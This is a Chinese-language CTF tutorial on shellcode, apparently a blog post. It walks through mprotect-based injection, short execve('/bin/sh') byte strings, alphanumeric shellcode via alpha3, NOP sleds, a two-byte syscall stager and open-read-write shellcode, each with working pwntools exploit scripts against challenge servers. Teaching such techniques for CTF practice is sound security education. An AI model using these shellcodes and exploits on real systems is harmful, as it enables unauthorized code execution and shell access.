##入门级shellcode
在平时遇到题目时候我们第一步查看保护,然后再根据反汇编的程序进行判断程序能够用哪种攻击方法
入门级的shellcode肯定就是简单的看,但是那种无限制且可以直接执行的就不给大家讲了,那种是非常非常简单的了,首先给大家看一个例题:
源码:
保护:
有新手会问,开启了nx保护怎么进行shellcode呢,所以我们就需要具体情况具体分析了。
反汇编:
可以看到源码中已经有了很明显的溢出位,在看反汇编中,也是能够看出来的,当然平时做题是看不到源码的。
可以看到read将输入放到了s中,然后strcpy又把函数放到了buff中,那么就跟进buff中查看:
可以查看到buff的位置在0x4040A0,在前面大家可以看到有个mprotect函数,改变了一个段的权限,我们可以到gdb当中去看:
可以看到运行过这个函数以后,buf所在的0x4040A0也就变成了可读可写可执行了,所以我们把shellcode写入到buff中就可以进行执行了关于mprotect函数的具体使用我在前面一个文章中已经讲解的很详细了,大家可以去看看。
那么到此我们就可以写exp了:
```python
from pwn import *
context(arch='amd64') #必须要加,要不然打不通
p = remote('node5.anna.nssctf.cn',24146)
shellcode = asm(shellcraft.sh())
buff = 0x4040A0
p.sendline(shellcode.ljust(0x108,b'a')+p64(buff))
p.interactive()
```
有时候有些人会问了为什么我64位打不通,就是因为没有指定架构,因为pwn中默认生成的shellcode是32位的,所以不进行指定的话是打不通的,当遇到64位程序的时候一定要进行指定。
##限制位数的shellcode
当我们遇到那种限制位数的shellcode的时候我们就不能够使用脚本生成shellcode去打了,所以我给大家准备了两个比较短的shellcode,大家可以直接拿去打
32位:
```
push 0xb
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80
shellcode = b"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
```
64位
```
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
更短
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
```
可以看到能够读取的字节做了限制,而且比较短,这种题目的时候就可以用到了
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20240921203435-dc1a4ffe-7815-1.png)
##可见字符shellcode
可见字符的shellcode是在什么时候用到的呢,有些程序会对用户输入进行检测,让用户只能输入可见字符的时候,就可以用到这个攻击方法了,原理还是很简单的,利用汇编指令对应的ascll码写出来,所以如果要手写的话是要懂汇编的,如果有需要可以自行学习一下。
大家也可以利用一个工具进行编写:alpha3,这里我也为大家提供了下次链接:
```
git clone https://github.com/TaQini/alpha3.git
```
使用方法:
利用生成的shellcode,输出到一个文件当中
```
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)
```
python shellcode.py > shellcode
生成的是x64的sys_execve("/bin/sh",0,0),可以修改成其他的arch或shellcode
```
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
```
详细的话大家可以去下载链接哪里查看使用方法。当然我这里也提供了生成好了的可见shellcode
```
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
io.recvuntil("Shellcode")
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
```
大家可以直接利用这个shellcode去打也可以。
##nop slep滑shellcode
nop slep可以破解栈随机化的缓冲区溢出攻击方法。主要用法是如果题目有很大的溢出空间,但是开启了保护,不能够得到准确的输入函数的位置的时候使用,可以利用这个攻击手法滑到shellcode的地址,不用那么精准的算偏移也是可以通的情况,不过例题我找不到了,所以这里给大家具体介绍一下nop slep:
nop slep也叫空操作(NOP)滑板,nop是英文 No Operation的缩写,中文翻译为无指令,它不会做任何操作,只是让cpu停止一段时间,在我们写exp的时候是用到它编译好的 \x90 就是nop slep指令。如果我们要写的时候可以写
```python
payload = b'\x90'*1000+shellcode
```
然后再加上可执行的地址,就可以进行pwn了。
##限制两位的shellcode
前面有个限制位数的跟大家说了,但是如果限制了2位又该怎么做呢,限制2位当时我做的时候也感觉到比较有意思,这个时候给大家单独拿出来讲一下。
可以看到只能够写2位
那么我们这个时候肯定有人就蒙了,别慌我们可以写系统调用哦。
首先,要写有限个字节内的shellcode,需要观察当前寄存器内的值,这个例题呢可以直接写:
```
payload = b'\x0f\x05' #就是syscall的汇编
```
完整exp:
```python
from pwn import *
p = remote('challenge.basectf.fun',47287)
context(arch='amd64')
shellcode = b'\x0f\x05' #\x0f\x05 是系统调用,用来停止这个这次输入
p.send(shellcode)
shellcode1 = b'\x90'*2+asm(shellcraft.sh()) #\x90 是nop 为了覆盖之前的syscall
p.sendline(shellcode1)
p.interactive()
```
##orw_shellcode
利用这个方法的时候一般题目会给出flag在服务器中的位置的,所以很好判断用不用这个方法,而且当中一般会使用沙箱,会禁止使用sh,我们遇到沙箱可以使用一个工具来判断有那些函数:seccomp-tools dump ./pwn
就可以检查禁用函数了,大家可以自行下载查看使用方法。
orw_shellcode 就是利用pwntolls中的脚本就可以使用,用了open,read,write函数,然后打开文件,读取输出就可以,原理还是比较简单的。
这边也准备了一个例题:
可以看到使用mmap改变了权限
```python
from pwn import *
context.arch="amd64"
context.log_level="debug"
p=remote()
mmap_addr =0xcafe0000 #更改权限的地址
p.recvuntil("shellcode:\n")
shellcode=shellcraft.open("./flag")
shellcode+=shellcraft.read(3,mmap_addr,0x50)
shellcode+=shellcraft.write(1,mmap_addr,0x50)
shellcode=asm(shellcode)
shellcode1=asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall")
p.send(shellcode1)
'''
我直接就能通,有些人用的是nop滑到shellcode的后面注入
'''
p.sendline(b"\x90"*len(shellcode1)+shellcode)
#p.send(shellcode)
p.interactive()
```
那么到此已经把我所知道的shellcode的用法写了出来。如果有错误希望大佬能够指出来,虚心求教,学无止境。